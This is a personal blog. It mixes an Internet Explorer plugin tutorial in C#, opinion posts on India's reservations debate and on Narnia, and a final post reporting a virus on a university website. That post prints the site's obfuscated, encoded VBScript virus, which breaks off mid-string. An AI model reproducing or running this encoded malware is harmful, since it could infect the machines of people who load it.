Archis's Blog

February 17, 2007

Writing a Managed IE Plugin

Filed under: Uncategorized — Tags: — archisgore @ 9:06 am

Alright, I admit this page formatting looks a bit dorky, but there really isn’t much I can say because it was formatted using the latest brand new Office 2007. Unfortunately, Yahoo 360 doesn’t support the most excellent Windows Live Writer for blogging due to which such mishaps occur. Live Writer has the ability to download your blog’s default CSS and allow you to compose entries just the way you’d see them.

Anyways, the article below has been shortened due to Yahoo’s limits on my blog length. So I had to cut out some code samples that were included inline in the article, so please bear with any broken sentences or paragraphs that make no apparent sense in context. Blame yahoo for everything!

Anyways, the entire Visual Studio Solution used to write this article is provided here on my homepage: http://www.geocities.com/archisgore/projects/bin/SamplePlugin.zip

Just download it and hopefully you should be writing your plugins within a few hours. I’ve provided most of the skeleton code you’d need, so you won’t have to spend time on COM interoperability and stuff.

Motivation and Audience:

I was working with IE7 recently, and saw that the IE7 homepage is encouraging developers to contribute plug-ins for IE to make it cooler. I also found a bunch of people who wanted to write IE plugins but didn’t know how. Moreover, all information available on writing an IE plugin is available for COM-aware people. For someone who’s been a Java/C guy all his life, I realized that the documentation on writing an Internet Explorer plugin was very limited – and since there was quite a demand for a working skeleton code, in interests of self-popularization, I decided to write this (while also expecting a smartphone from Microsoft). Took me a week of sleepless nights to get it working, but once you know how to do it, it’s actually one of the simplest things to be done (if you don’t care about why and how it works – so long as it works, I’m happy). In fact, after this experience, I plan to write quite a bit of plugins for IE in the near future. The actual problem is only on getting the skeleton code running and getting it compiled and registered. Once this is done, the further functioning is really simple.

I’m writing this article keeping in mind IE7 running on Vista, so many steps regarding running stuff as “administrator” may not make sense to you unless you’re running the super-secure Vista.

Almost all of my code is stolen from various sources which I’ve listed at the end of this article so there’s no originality or any sort of breakthrough contribution of mine here. All I’ve done is merge together code from different people who’ve solved different parts of the overall problem and packaged it in one piece. The toolbar example is based on the famous BandObject example from www.codeproject.com. I suggest you first read that article before you read this one. This article is simply a mashup of that original article with modifications based on some code and replies on the talk-back forums.

However, at the end of the day, I feel that most of you want to simply get some skeleton code and begin contributing plugins to IE, so this article should ideally help you do that.

Plugin Basics:

Internet Explorer has plugins known as Browser Helper Objects. Actually, there are many more types of plugins like Custom Download Managers and stuff, but we’ll just focus on BHO’s since they’re what most people would be looking for. Besides, although many people differentiate between a toolbar and a BHO, I personally feel that a toolbar implemented as a BHO is easier to deal with, and anyways, most of the times, you’ll actually be implementing a BHO even though you call it “just a toolbar”.

Also, I shall show you how to write a toolbar and a BHO separately and get them to communicate while execution.

Browser Helper Object:

A Browser Helper Object is literally any .Net class that is visible to COM (registered for COM Interop) and that implements the IObjectWithSite interface (I know the name of the interface sounds geeky – like most other things in COM). I shall also demonstrate some tricks which need to be implemented to ensure our stuff works with the new tabs in IE7. Finally, I’ve included sample code at the end which should hopefully compile smoothly and work out of the box.

I recommend you go through the reference articles listed at the bottom of this page before you actually implement anything.

Creating the Project:

Assuming you’re using VS 2005, this is what you’d do to create your project.

Download the BandObject project contributed by Pavel Zolnikov which is cited below. It should come in handy when you attempt to create a toolbar. For a pure BHO, this shouldn’t matter much.

Create a standard “Class Library” project under any of the Managed Code languages (take your pick out of anyone of them like C#, VB.Net, etc.)

Add a class called SampleBHO (or whatever you prefer)

Above this class definition, but within the namespace, reference the IObjectWithSite interface. In short, just insert the code below:

[ComVisible(true)]

[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]

[
Guid("FC4801A3-2BA9-11CF-A229-00AA003D7352")]

public interface IObjectWithSite

{

[PreserveSig]

int SetSite([MarshalAs(UnmanagedType.IUnknown)]object site);

[PreserveSig]

int GetSite(ref Guid guid, out IntPtr ppvSite);

}

And then make sure your class implements this interface. This can be done simply by first adding a ‘: IObjectWithSite’ in front of your class’s declaration but before it’s body. And then right-click on the interface name and you’ll get an option in the context-menu saying “Implement Interface”. Just click on the appropriate option to generate stubs for the interface’s methods.

Essentially, you should end up with a class that looks like this:

[ClassInterface(ClassInterfaceType.None)]

[ComVisible(true)]

[Guid("41DBDDF3-423B-4c61-93D5-1D19291CD655")]

[ProgIdAttribute("SamplePlugin.SampleBHO")]

public class SampleBHO : IObjectWithSite

{

Let’s walk through what each of these functions do:

The SetSite and GetSite functions were copied by me verbatim from other sample code, so I really am not the authority to explain what they do. Suffice it to say that after SetSite is executed, the webBrowser field of this class will be populated with a reference to the instance of the WebBrowser that this BHO is supposed to service.

The RegisterFunction and UnregisterFunction are also pretty standard things picked up from other articles. These functions simply register this class as a BHO at the right parts of the registry where IE will look for when it loads, and unregister this class when this assembly is uninstalled from the target machine, so that IE doesn’t keep loading it even if it doesn’t exist.

Creating the toolbar:

To create our toolbar, first add the BandObjectLib project to your current solution and reference it. A very important thing to remember is that a toolbar needs to be strong-name signed. This is particularly easy in VS 2005. Simply go to “Project->Properties” and you should find a “Signing” tab. On this tab, select the checkbox labeled “Sign the assembly”. And then either select “New” in the “Choose Strong Name file” option.

After this, create a class called “SampleToolbar” and inherit it from “ExplorerBarForm”

There’s one catch when adding references to this project. If you’ve referenced the “SHDocVw.dll” from the standard system directory, you’ll have to delete it. Instead when adding the reference, manually browse, and go to the “bin/Debug” folder of BandObjectLib and select the “Interop.SHDocVw.dll” file located there. This is necessary since SHDocVw.dll is a COM library which doesn’t come with it’s own Strong name signing. Hence, whenever VS finds such an assembly, it strong-name sign’s it’s interop wrapper that is generated. The catch is that if you reference it from two projects, viz. “BandObjectLib”, and “SamplePlugin” then you end up with two wrappers each with it’s different Strong-name signing. So you’ve gotta reference either one of the wrappers from both the projects to make sure your code will compile.

Here again, the class should now look something like this:

[Guid("0D34AA37-F614-424c-A996-CC0CB78D8143")]

[ClassInterface(ClassInterfaceType.None)]

[ProgIdAttribute("SamplePlugin.SampleToolbar")]

[BandObject("Sample Toolbar", BandObjectStyle.Horizontal | BandObjectStyle.ExplorerToolbar, HelpText = "Brings the internet experience to life!")]

public class SampleToolbar : ExplorerBarForm

{

If you notice, this class doesn’t have all the complex GetSite and SetSite stuff, since the BandObjectLib does that for us already.

Hopefully, with any luck, both the above classes should compile with relative ease (apart from some trouble you might have with adding the appropriate references, but I’ve given the project zipped along with this article to help you avoid that to some extent).

Getting colors right:

Now to make the background of the BandObject Transparent so that it sort of inherits IE’s default color scheme (though this isn’t the recommended way of doing things, it was the only way I could find out at such short notice). This one was again contributed by a forum member on the codeproject forums.

To do this, simply make the ExplorerBar object’s background color Transparent, and add the following code the ExplorerBar:

[DllImport("uxtheme", ExactSpelling = true)]

public extern static Int32 DrawThemeParentBackground(IntPtr hWnd, IntPtr hdc, ref Rectangle pRect);

protected override void OnPaint(PaintEventArgs e)

{

if (this.BackColor == Color.Transparent) {

IntPtr hdc = e.Graphics.GetHdc();

Rectangle rec = new Rectangle(e.ClipRectangle.Left, e.ClipRectangle.Top, e.ClipRectangle.Width, e.ClipRectangle.Height);

DrawThemeParentBackground(this.Handle, hdc, ref rec);

e.Graphics.ReleaseHdc(hdc);

} else base.OnPaint(e);

}

Though in my own implementation, I have commented the condition of transparency, so I draw my toolbar transparently regardless of what the setting is. This is done because I generally don’t care for a lot of extensibility, but you should be careful of it in case you want to make sure your users can change these settings once the code has been deployed.

Handling DOM events:

Finally, one quirk of handling events of the DOM objects within the document is that once you’ve registered handlers for them, they won’t respond to keyboard events or mouse clicks. The solution for this is very simple. Add the following code to your namespace (I prefer adding it in a separate file to remember where it came from).

// The delegate:

public delegate void DHTMLEvent(IHTMLEventObj e);

///

/// Generic Event handler for HTML DOM objects.

/// Handles a basic event object which receives an IHTMLEventObj which

/// applies to all document events raised.

///

[ComVisible(true)]

public class DHTMLEventHandler

{

public DHTMLEvent Handler;

HTMLDocument Document;

public DHTMLEventHandler(mshtml.HTMLDocument doc)

{

this.Document = doc;

}

[DispId(0)]

public void Call()

{

Handler(Docu
ment.parentWindow.@event);

}

}

And then instead of doing:

HTMLWindowEvents_Event temp = (HTMLWindowEvents_Event)document.parentWindow.onresize;

temp.onresize+=new HTMLWindowEvents_onresizeEventHandler(d_onresize);

You should add a handler like this:

DHTMLEventHandler Handler = new DHTMLEventHandler(doc);

Handler.Handler += new DHTMLEvent(DocumentWindow_onresize);

document.parentWindow.onresize = Handler;

And it should work just fine.

Connecting the Toolbar and BHO:

This is something that puzzled me quite a while and then I realized what an elegantly simple solution there was staring me in the face.

The IWebBrowser2 interface has GetProperty and PutProperty methods which allow you to submit objects to the WebBrowser’s PropertyBag alongwith a string tag to identify them.

When either, the toolbar or BHO’s SetSite method is called, we simply need to put the current instance ‘this’ of the respective object in the webbrowser’s PropertyBag.

Then all you have to do is to track the PropertyChanged event of the browser in both the Toolbar and BHO. Then you simply detect if that property was either that of the toolbar or the BHO. It’s obvious both objects won’t be loaded simultaneously. One object will follow the other. Whichever object got loaded first, can detect the second one’s PutProperty invocation through PropertyChanged, and can get the other’s reference.

Once we have the reference, we simply implement a setBHO method in the Toolbar and a setToolbar in the BHO. This way, the first object that got the reference, can pass on it’s own instance reference to the second object. We detect if the receiving object already had a reference to avoid a circular loop.

The property change events in the above code samples demonstrate how this is achieved.

Changes for IE7:

The following changes were applied by me to enable IE7’s tabs to be handled appropriately. If you notice, we capture an event webBrowser.WindowStateChanged which is fired every time the window state of the browser changes. This event is fired when a user toggles through tabs. We particularly care about this because a separate instance of your BHO will be loaded for each and every tab in IE7. Hence, if the tab which we’re supposed to service is hidden, we have to disable our services, lest they should interfere with completely irrelevant operations the user may be performing in another tab.

Other Minor changes:

I suggest you use the BandObjectLib implementation provided by me below since I’ve incorporated quite a few suggestions and recommendations based on mailing-list replies to certain problems in the original. They’re mostly minor tweaks that make the Toolbar movable and draggable across the Toolband in IE.

The dwModeFlags of the DESKBANDINFO structure in the original are incorrect, and based on some replies on the forums (I sincerely hate myself for having lost the link – sorry about not being able to give credit to the guy who figured this out), I’ve modified them and it’s working perfectly.

Also remember to use VS 2005 with SP1 for Vista, if you’re running on Vista, and while running VS, always run it as Administrator (if you’ve installed SP1, it will prompt you with this message every time you invoke VS).

Ending notes:

That ends my mashup of how to write a BHO/Toolbar for IE7 and handle all the quirks associated with it. Hopefully all your problems should have been solved with this article. As always, feedback, suggestions, and criticism will be appreciated.

I’m sorry for not being able to credit all the people whose contributions went into this article, but I hope that most of your common problems will not be solved through this one article instead of having to hunt on the net as I had to. And feel free to edit/modify the code provided.

Finally, you’ll need to register these assemblies that you create. For each DLL, you’ll need to call “regasm” from a command-prompt opened in Administrator mode, or ask VS to register it.

Also, for assemblies containing a Toolbar, they need to be registered in the Global Assembly Cache (hence the strong-name signing we had to do). For this, use gacutil, whose use is well documented on MSDN. The simplest invocation is ‘gacutil /if ’

Sometimes, you’ll need to close all instances of iexplorer.exe (IE) restart the “explorer.exe” shell process too in order to ensure that the DLL’s are not in use if you get errors while compiling or registering them.

Once this skeleton is done, you can deal with managed code most of the time, unless you need to interface with obscure parts of the platform. In general, all your managed UI objects from WinForms should work just fine with a BHO.

Read the following articles for reference:

1. Read the BHO articles:

a. http://www.15seconds.com/issue/040331.htm

b. http://simonguest.com/blogs/smguest/archive/2006/11/19/Building-Browser-Helper-Objects-using-Managed-Code.aspx

c. http://weblogs.asp.net/stevencohn/articles/60948.aspx

2. This article shows the same thing through unmanaged code: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/IETechCol/cols/dnexpie/expie_hello_bho.asp

3. Read the BandObject article: http://www.codeproject.com/csharp/dotnetbandobjects.asp

4. If you face any problems while following this procedure, here’s an excellent place where you might find answers already, or would get an answer real fast: http://forums.microsoft.com/MSDN/ShowForum.aspx?ForumID=924&SiteID=1

January 12, 2007

I’ll be attending LinuxAsia

Filed under: Uncategorized — Tags: — archisgore @ 2:33 am

Here’s something you don’t witness daily. I shall be working at Microsoft from Tuesday and my group is going to Linux Asia and I wanted to be with them. So just asked my boss casually whether I could attend it, thoroughly expecting a polite smile and a soft “Not really, it’s against corporate policy”. To my amazement, he pings me on yahoo messenger and tells me to go right ahead and attend it.

Now that’s really cool! It appears that so long as I get my work done, and I don’t disclose anything I do to outsiders, Microsoft has no issues if I go to Linux events and that too on working days.

If anyone else is planning to be there, that would be a good chance for us to meet up. The event is in Delhi and India Habitat Center on the 31st of Jan to 2nd of Feb.

I’ll be at Microsoft, Hyd between 16th January and 16th May. So will be absent from the Pune scene for a while.

October 10, 2006

Reservations Controversy

Filed under: Uncategorized — Tags: — archisgore @ 10:43 pm

(thiking…. This one is going to make my blog famous)

It’s actually very sad to watch National TV and see the reservations debate going on. For some reason, I consider myself pro-reservations. Now now, before you get all emotionally fired up, let me make it clear. I used the word pro-reservations, but I really meant to say pro-fairness.

While watching a certain show on NDTV, all the IIMs and IITs were proclaiming that they’re have most meritorious students in India, while the statistics I saw on TV told me that 60% of the country’s population don’t even have access to a television set that would allow them to even watch this specific show in which they were called stupid and dumb and low-quality. Since when did the CAT and JEE get supernatural abilities to judge the abilities of all Indians and select the top 2000 from them, even when 60% indians of Indians didn’t even know that such an institution exists? Good God! We really seem to have some great managers and technologists in India. I don’t think even the ETS is capable of making such a claim. Those damn Americans! What do they know about testing the abilities of all Indians even when they do ot appear for the entrance? We have great Acient Indian Magic which allows us to do this!

Before you get emotionally fired up again, please understand that I’m not _unfairly_ criticising the IIMans. They’re good no doubt. They get the best amongst those who applied to the entrance. To claim that everyone who’s good applies for the IIM would be an anti-constitutional statement – remember we’re in a democratic country. People have the right to not apply if they so feel. All I demand, is that be fair to those who didn’t apply. Listen to their opinions also – just because someone’s not in an IIM doesn’t make them stupid – I don’t believe Lalu Prasad Yadav ever went to an IIM. But from what I hear, he is making profit in the Indian Railways for the first time in the history of the country. No matter what you say, you can’t say he cannot protect the business interests of his company. Make sound and objective arguments against reservations. Simply saying “We’re the best in the entire country and we know what’s best for the entire country” is not a very good way of exemplifying this democracy.

Let’s look at it from the point of view of the entire country. How many people in the IIT and IIM attempted the entrance more than once? How many of them went to a coaching class? How much did the coaching classes cost? Does everyone in India have the same resources for competing on equal grounds? Is this coaching class not a sort of “reservation” for the rich few? Before you start telling me how coaching classes are available to everyone for reasonable costs, you’re assuming everyone’s living in the heart of the city. The nearest IIT entrance coaching class from my house was 22 KM away. The nearest CAT-coaching class is a bit closer – around 5 KM. Now I live in a reasonably located outskirt. I know loads of people who never could physically travel to a class even if they could afford it (including myself).

So how come only those who live in the right location, can afford the right classes and can attempt the CAT multiple times be called “meritorious” and the “very best in India”? Hell, for all the votes that IIMs and IITs are showing against reservation, if we only allow those votes who came in at the first shot without coaching, then we shall see fairness. Because most of the reserved castes fall in this category. Perhaps being a pure scientist, I understand the definition of “comparability” much better than the managers, but I’ll give a bried overview here. Comparability is always done on the basis of identical conditions being created before an experiment is performed. Without this no scientific community will accept any crap whatsoever, regardless of how elite you are.

Moreover, I may have gotten this wrong, but I think no pro-reservation politician is asking for separate evaluations and examinations within the IIM. I don’t think any one of them is asking for high grades. They’re only asking for the opportunity. If they’re so stupid, then let them enter – in fact, I would _defy_ them to enter. Let’s conduct a scientific experiment – like we do in my profession. If they keep on miserably failing, then it would be so easy to push back reservations. Our point would be conceded by the entire country. I don’t think anyone would want to get into an IIM and ruin his career by maintaining a failure year after year. They would stop using the reservations altogether. But as with any manager, they’re afraid of scientific experiments, because science is a double-edged sword. Before conducting this study, everyone in India must sign consent that if the reservation-entry people do pass, and that too with good grades, then we shall stop calling them stupid. If we want to benefit, we must be ready to pay. This again, is based on democracy and fairness. If we prove them wrong, they must admit to never utter the word “reservations” ever again. And if they prove us wrong, then we should keep out mouth shut on the issue of them being asymtotically dumb.

I had in fact proposed a very nice scientific experiment some three months ago when this debate began, although I never blogged about it. The IIM people are great simply because they earn more money. Because that is the sole criteria (and yet somehow the IITs claim Microsoft is evil because they want to earn money – but we’ll target this hypocricy later). Placements, money, and pay packages make them great. It’s great! Now, I only request them one thing. This could cost them a bit, but it’s ok – we’ve read about their pay packages in the newspapers so I know they can afford it.

All I want is that the top 2000 reserved category applicants from last year who don’t have money (this excludes the creamy layer), should be sponsored by an IIM alumnus for one year to the best CAT coaching class. They should get all the comforts of not having to work part-time and they should get all the quiet study time without their daily worries. As to the definition of the creamy layer, since this is not an official government sponsored study, I leave them free to choose who is not in the creamy layer.

And then, let us consider the results of this study. I’m a scientist, so I’m not really pro-reservations or anti-reservations. I only blogged about this because when someone begins calling his countrymen stupid and dumb, he should be able to provide proof of it. Being a scientist, I don’t care about opinions and arguments. I like cold, hard, and comparable results! Please let us do this. It may turn up that the reserved people are so stupid that even after this priviledge, they don’t perform. In which case, we can shut them up for once! Completely! It may also happen that they do perform well given the right conditions, in which case we must shut up at once! Completely!

Please understand that this article is not in opposition to or in justification of reservations. That’s an entirely different matter. But I really don’t like comments being made against a community who was never given the right to defend itself. All I say is that we should accept that we’re the best amongst a very few, no doubt that we are the best amongst them! But only _among_them_. We had this talk during the code4bill contest too. So many people in the country do not have an internet connection and I knew many friends who could have made it to the top 20 if they had that provision. So far as we think of the few who applied, the top 20 are the best. Completely agreeable. But we dont go about commenting about being the best in the entire country – especially one where 60% if the population does not even have access to a TV set.

My request to all readers is that if you hear an anti-reservations guy justifying his cause, please do make sure he is making moderate statements. Reservation is no answer to the problem of unfairness. Comment all you want about this. Please dont go about calling those who never had the same priviledges as you, stupid and dumb.

The reason I, of all people, am sensitive to this is because I’ve gone through all experiences. I’ve been driven to thinking about suicide by the University of Pune just around six months ago because they didn’t like my face. Now if my examinations were never fairly evaluated, on what basis should they go around calling me dumb and stupid? Please, let us be fair and moderate. They’re our own brothers. We’re going to be living in this country together for years to come. We must end this peacefully and objectively in such a way that no community gets hurt.

The popular cricket-team analogy:

Now, I want to comment on the e-mail that is going around the internet about some dude claiming that the Indian Cricket Team should have a few NTs and STs and OBCs and so forth. This person has not understood the basic principle and concept of reservations at all. I admit, being a management guy they are trained at coming up with popularist attractive analogies, but the limitation of never having studied science makes these analogies rather weak. As a moderate scientist, I must clear up this confusion for everyone.

Reservation is about _opportunity_ and not _guarantee_. Please understand this statement very carefully. The appropriate analogy with the cricket team is that whatever number of open category players are invited for the tryouts, the same number of reserved players be called for the trials also. Nobody is guaranteed a position on the team. They are guaranteed the opportunity to show their ability. I think we should ask the Director of the IIM board since he himself would be able to answer the question of whether the Government of India sent him a letter forcing him to _pass_ students of reserved categories. I seriously doubt it. He is only asked to give them the opportunity to appear in the examination. Nobody is asking them to be made managers, but everyone wants them to have the opportunity to prove their smart, and scientifically thinking, it is also an opportunity for us “smart people” to prove they’re dumb (if we’re so sure of it, why not see it in the exams?)

Let me give an analogy to the original cricket analogy going around the internet (surprise! surprise! scientists can come up with graphic analogies too!)

Suppose a prominent American sends out the mail:

“Indian babies have a higher mortality rate compared to American babies. Indian babies are weaker than american babies and appear as if they were malnutritioned. This means that Indians are of a lower and weaker race compared to Americans. I believe we should stop them from coming to America. I believe the Indian cricket team should be made up of the genetically superior Americans.”

Isn’t this the most offensive thing you ever heard? Well, your own cricket mail is equally offensive. What this mail doesn’t take into account is that Indian babies don’t “appear to be like malnutritioned babies”, but they really are malnutritioned! Indian babies don’t have the average healthcare facilities available to their American counterparts. But suppose we ignore this “opportunity” that American babies have above us, then yes, we are an intrinsically inferior race. But you would immediately say that they should wait till India is a developed country and everyone has the same healthcare and then see if Indian babies equal the survival rate of American ones. Why don’t you wait till everyone in the country can afford a 1 lakh per year coaching class before calling them stupid?

So how come, when there are coaching classes for CAT and GATE that sometimes charge upto 1 lakh per anum, do the very people who benefitted from these coaching classes go on national television and start calling anyone else stupid? I believe when everyone gets access to these coaching classes can we make an educated statement. Will Narayan Murthy speak against coaching classes on national TV calling them an unfair advantage? Will the directors of IITs say that the government should ban coaching classes? Or how about if we give reservations in coaching classes instead of in the IITs and IIMs themselves? I think that would be fair also. Coaching classes are like mental healthcare facilities for the dumb and stupid, IMHO. So how come people who need them are the ones calling others dumb and stupid?

These comments sound offensive don’t they? Well, imagine how much you offend 60% of our country when you make them on television and they don’t even know such statements are being made. You can vent your anger by flaming me and even perhaps physically harming me on the streets. But when you make statements against people who don’t even know the internet exists, do you think that’s bravery?

All I say is that be fair to them. They _do_ have a point. Their solution may be wrong, but hey, it’s all our own country. We must propose better solutions to the problem instead of going around calling them dumb and stupid. If we are the smart ones, how is it that we’re acting just the opposite of what we claim?

The Gandhigiri approach:

If they ask for 50% reservations, then give them 100% reservations. Remove all open-category people from the IITs and IIMs. Let them run the entire show. Boycott it. Peacefully. No abusive comments, and no name-calling like 5-year-old school-girls. They will realise that quality is maintained by “good people” (does not necessarily equate to “open-category people”). Over time they will realise their mistake. This may take two or three years, but India as a country will have improved. Anyways, since we’re all so intelligent and smart, we should quietly go to oxford and harvard where there are no reservations and let the IIMs be 100% categorised. Anyone up for Gandhigiri?

One of the Mahatma’s statement prominently shown in Lage Raho Munnabhai was, “Dar hi sabse bada rog hai” (“Fear is the worst disease”). Are we afraid of being shown that they are equally good and that the monopoly we’ve enjoyed for so many years may be at risk now? If we’re not afraid then let us peacefully show them just how dumb and stupid they really are. “Fear is the path to the dark side of the force, once you walk down the dark path, forever will it dominate your destiny…..”

September 21, 2006

JKR Magic vs C. S. Lewis Magic

Filed under: Uncategorized — Tags: — archisgore @ 2:14 pm

Being a fan of C S Lewis’s Narnia books, I thought I’d write a blog entry based on a very excellent paper I found on the net describing the two magics (can’t find the link right now, will post it as soon as I get it).

I wanted to comment on another aspect of the two magics.

This aspect of activeness and passiveness. JKR Magic is very active in nature. Whereas CSL magic is extremely passive. In JKR magic, the characters positively use magic or influence it to induce certain results. They perform spells, make potions and stuff of that sort. CSL magic, on the other hand is invoked passively, and in most cases unknowingly (remember, “Thou shalt not tempt God!”). CSL was most obviously promoting Christianity through his books (which I loved).

In CSL, all active magic is also “evil” magic (has a lot of Jedi philosophical similarities). The White Witch, the Lady of the Green Kirtle, etc. were all evil because they “invoked” magic. This has obvious similarities to using power for personal gain. Invoked magic always has the motivation of personal gain (or is implied to do so in the books). All “good” magic is that which is invoked by principle, by definition or by moral superiority. Essentially, if you’re a good person, good things will happen to you. It is actually a brilliant and ingenious way of explaining religion to young children – I certainly got the point much clearly than having read the Bible. The movie even has the quote, “There is a deep magic, more powerful than any of us, that rules over Narnia. It defines right from wrong. It governs all our destinies, your’s and mine.”

Hence, when the children are called to help out Narnians, rarely do we see the good characters actively engaging in magical acts. In fact it is unspokenly tabood to do so.

In the JKR universe, magic is very active. Both good and bad sides use it. Magic is more like a knife – it’s use depends on it’s user. A knife may save lives in a surgery and also may take lives in murders. JKR magic is invoked rather heavily – except when Harry was protected by a deep ancient magic – which sound similar to the Stone Table’s magic from CSL.

September 20, 2006

The best book-to-movie translation has been…

Filed under: Uncategorized — Tags: — archisgore @ 12:27 am

The Chronicles of Narnia! Of course! In all the book-to-movie translations that I’ve seen so far, this one comes really close. It’s actually perfect. There wasn’t ONE SINGLE suggesstion I could have made to change the movie to reflect the book any better.

You can read my really long review about this, but the fact is that they really did not make it more Hollywood-ish like the Harry Potter books were made when turned into movies. Narnia is just what it was supposed to be. No changing of spell names, no changing of characters and preserving the basic theme.

Most of you will criticize me that the Harry Potter books were way bigger than the Narnia books – and this is true – the Narnia books are possibly one-fourth the size of the smallest harry potter book. But it’s about the basic theme. There’s that internal gut feeling that you get. The Narnia movie completely portrays _what_ it’s all about – the whole concept of the Narnian world, the concept of the books, the principals behind the story. The Harry Potter books are great – they have this element.

The movies, however, are pure entertainment. I mean, for people like me, that was the major downer in LOTR. I’m a guy who wants a strong story line, a strong underlying principle, and if you can cram them in, loads of special effects. But a compromise in the story’s weight to increase battle scenes or to have Harry fighting dragons and all just doesn’t impress me. I like dialogs. I like philosophy. I like to see characters in challenging situations, as humans where they must use their brains, their courage, their wit, their personna to escape. That’s what books are all about. The Narnia movies did a great job of it. I feel Prizoner of Azkaban is the best HP movie so far – a really great one where the story is kept strong.

June 30, 2006

Machine infected from ISSC website!

Filed under: Uncategorized — Tags: — archisgore @ 5:26 am

Damn me! I of all people should have known better than to oblige juniors and check out ISSC’s website, when I was the first person to have identified and isolated a VBScript virus on their pages on the 25th of January 2005. The website is http://issc.unipune.ernet.in/ and the virus is not exactly on the very first page. Browse around and you’ll find it (it’s on the admissions page prominently) – just make sure you’ve got your AV’s running with full scanning options before you do this.

I just know I’m going to get flames from ISSC Alumni containing words like “great”, “scientific”, “theoretical” and what not but utterly pointless and completely off-topic (which is generally their style), in response to this BLOG entry. But hey, this is MY BLOG and I’ll post anything I want here. If you feel it’s unfair, write something against me on your own BLOGs. You’ve left no stone unturned in the ‘Archis Gore Defamation’ department and there’s nothing worse you can do to me anymore (what would be worse than having driven me almost to suicide, and permanently damaged my emotional balance, just six months ago?).

I’ll bet there’s some greater world-saving scientific purpose to this virus than meets this eye, a purpose that is incomprehensible to my puny non-scientific brain (oh yes, using the world ‘scientific’ a hundred times is all they know how to do – you’ll find out soon enough when you see the responses to this post). Now I admit I’m the dumbest person on earth (according to the world-acknowledged intelligence-certification agency known as the ISSC), but hey, leave poor guys like me alone! I just visited your website to view the merit lists. Exclude me from the great world-saving scientific experiments and please let me live in peace.

Microsoft is probably using some stupid antivirus program which identifies a pointless script on your pages as a virus, and so was Norton Antivirus at my house, and F-Prot at a friend’s place. Please exclude us stupid poor souls from eternal scientific salvation, and let us be. My project depends on caching systems and I just had to clean the entire IE cache and recreate it (spent one hour on this), after an AV scan (which took 2 hours).

Looking at it one way, I must admit that it is a feat beyond my wildest dreams. Their webserver is Apache running on Linux, and even the stupid non-ISSC-certified Linux Torvalds himself could not have managed to run VBScript on Linux. But they did it. Kudos to you. I bow down and accept defeat. This was beyond all my abilities as a Linux user and hence your decision of whom to make the lab administrator is fully justified. Absolutely no contest there. Even Linux Torvalds would not have lived up to these standards.

I know they’re going to deny the existence of a virus, which they did do (else they would have removed it by now). The virus may be gone by the time you visit the page, but you have to trust me on this, because that’s all I have. I cannot control their webserver, and for public safety, I’m going to give them the process to remove the virus finally after six months of waiting for their scientific minds to figure it out.

BEWARE: This process is developed by me, a non-scientific person (I dont have the ISSC-certification-of-scientificness) and hence may not contain a lot of complex fancy words or impressive stuff, but you just have to trust that stupid people can be of some insignificant use in this world. Especially when scientists are focussed on complex questions like designing SQL queries at ISSC, pathetic mortals like me must pitch in and do whatever little we can.

I finally took the time off, opened the HTML pages in notepad and isolated this junk piece of pointless VBScript code in them (which is at the end of this post). A simple ‘dd’ in VI, or a select-delete in notepad should be sufficient. (I warned you it wont look impressive or fancy, but hey, I’m a stupid person remember?)

Now please, exclude us from this great revolutionary experiment, and allow us to surf the web in peace.

<!–

QueryString=”#@~^iBEAAA==6 P3MDKDP”"+k;:PH+XY@&/Kx/D~bawVOHls+{J-4d bmCD}dRyRT ZJ@&/G /OPz2aVnDZKN+{J1G:c:dRmmOr7+(c)mDk\p/WswKxnxOE@&ZGxkOP6/G/d?q9xr TfWfw2T8Ow!,2O8qZwO0,W!RTZb!;1!lc y0NJ@&ZKxdY~AkZJ?&9′r o12*f/+yOqZwT FqG! bf~, T!;!*sG*0)ZA8r@&NKmEsnUYchMkO+E@!mw2VOP4+rL4Y’T~Sk[Y4xZPUm:'JLba2VYHls+'E,mW9n'r[ba2s+DZKNn[E@*@!zCwas+D@*E@&9Wm;hxORS.bYnr@!kmDbwD~0KDxhbx[GSP+7nxD'W sGl9@*k+OKrhr;YrE(/^.bwYlhmkUymKxsKl9`#rJBq!Z!@!zkm.raY@*r@&?!4PsCrx7 |WUVGC9`b@&""no;tCUT+`b@&GDGw:nswsmY`K:aslD+9kM#@&9MWw:n:aVlDncK4kkfrDKCDtb@&G.WaHrd1`#@&obVn?1C `P4kkfkMnmOt*@&KSKl[/4+m0c#@&2x9~jE(@&UE8P9.Kwkk^`*@&6U,2D.GMP]+k;s+~g+XY@&wWM~x{!~YKPq@&GDWaP+swVmOn`6/KR!+Oja+^kmssKV[nM`xb'r-E#@&H6O@&sKDPAl14P9Prx,0dGcfDb-+k@&q6~[RGDbnKz2'+PD4+ P9.KwKnhaVCYc9R9Mk7+SYDnDLJl-r#@&H6Y@&oWMP2m^4P Pbx~d4UtnV^ ?a+^rmVsGs9+./@&(6P( ?DD` ~r9+k3OWaJbxZPK4nx,fDK2P+sw^lO+cULJwJ*@&16O@&AxN~j!4@&?!8,nJKl9Ztm0c#@&rUPAD.GMPIdEs+PgnaY@&q6P\WUO4`HWSb'OPCU9PfCzv1Gh*xyv~DtxPq/4jtVsR""EUcrIjg9Sd& c3p2,/4+sVf+cNsVBjCA6rOqkx[GS/36,+r#@&Ax9P?!4@&jE(Pok^+)2a+x9c0Bm#@&6UPADMW.P]nkEh+,H+XY@&jYPhzwks+{WkW V+Dsk^+vW#@&xx:HsrsRbDODb4EDnd@&sXwks+ )DY.k(;Y/xT@&?+O~sXok^n{0dKR}w+ KaYwks+v0S0*@&:Hok^+Rq.rYP1@&hXor^+ Z^G/@&or^+bOOMPW~ @&Ax[,?!4@&UE(~sbVnq 0n^D`w*@&r P2M.GD,I/;:n~g+aY@&j+DPWx6/W 6a+UKaDsr^+vw~8#@&^'6R]+mN)s^@&0c/VK/+@&(WP&xUY.In-vmS\;GN#xT,rD~( ?OD”"n7`^B\;WN#3J+ `-ZKNnb@!Scm*PK4nUP@&sbVnb22x[PaS;W[n@&2x[~&0@&2 [,?;(@&UE4,sbs+UmCxvwb@&}xPA.DKDP""ndEs+,1n6O@&wW.PACm4PdW8PqU~6/GRVnDsG^ND`a#cok^+d@&U+sn1YP;C/PS;Cd+v0kW MnOA6O+ dkKxHCs+`dW8RHlsn*#@&;lk+PrtDhJBJ4YsVESrtYDE@&wkV(U0mD`d0q hlOt*@&2 N~jV+^O@&1n6D@&Ax[,?!4@&wE ^YbWUP7ZG[`#@&6x,2DMG.P""+kEh+~H6O@& /W9+x]wVC^`}E.H?OMk 